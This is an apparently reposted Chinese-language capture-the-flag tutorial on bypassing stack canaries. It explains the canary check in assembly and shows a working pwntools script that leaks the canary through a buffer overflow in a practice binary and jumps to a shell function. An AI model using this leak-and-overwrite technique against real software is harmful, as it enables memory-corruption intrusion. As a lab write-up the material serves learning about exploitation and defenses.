Canary機制的繞過


目標程序下載
提取碼:8ypi

1.檢查程序開啟了哪些安全保護機制

Canary與NX開啟了

Canary機制簡介

64位的canary機制,會在函數頭部添加:
    mov    rax,QWORD PTR fs:0x28               //從fs:0x28寄存器中取一個值
    mov    QWORD PTR [rbp-0x8],rax             //寫入當前棧幀底部(RBP前方第一個數)

結尾部分添加:
    mov    rcx,QWORD PTR [rbp-0x8]             //把金絲雀值取出
    xor    rcx,QWORD PTR fs:0x28               //比較與寄存器中的是否一樣
    je     xxxxx                               //函數正常退出
    call   0x400580 <__stack_chk_fail@plt>     //__stack_chk_fail()函數功能為報告棧損壞

當前函數棧幀為:
0040| 0x7fffffffe088 --> 0xf383d165ddc4a700    //Canary值
0048| 0x7fffffffe090 --> 0x7fffffffe4c0        //上個函數棧幀的RBP
0056| 0x7fffffffe098 --> 0x4007a1              //上個函數棧幀的RIP
  • Canary值在rbp到rsp之間,(並不一定是rbp-8的位置很長一段時間我認為是在rbp-8位置,[自嘲的笑了笑])
  • Canary值以0x00結尾,如果程序沒有漏洞但棧上面剛好是一個滿的字符串,這個0x00可以當做截斷,避免被打印出來
  • Canary值如果被改寫,程序會崩潰

2.在IDA中查找碼漏洞與可以被我們利用的位置

可以看到buf只有 0x70-0xc=0x64 的大小,但是read的第三個參數卻是0x200,漏洞點找到了

v3這個變量就是Canary的值

而且在IDA中還找到了這么一個函數.....

只要讓程序運行到這個函數就ok了,好簡單

看一下這個函數的地址

Canary機制怎么繞過?

Canary的值最后兩位是0,也就是說是一個字符的大小,如果上面是字符串,寫多了一位,剛好把這個00覆蓋掉
那么,就能打印出前幾位Canary的值,然后在自己的payload中Canary的位置寫上這個值,讓Canary原來的值與
自己寫的值一樣,這樣在函數結束時的Canary驗證函數就不會出錯

from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC

payload = (offset)*"a" + "b"
p.send(payload)

p.recvuntil("ab")
canary = u32(p.recv(3).rjust(4,"\x00"))#得到canary的值

payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)
# payload2= buf + canary + canary到返回地址的大小 + 返回地址

p.send(payload2)
p.interactive()

成功得到shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM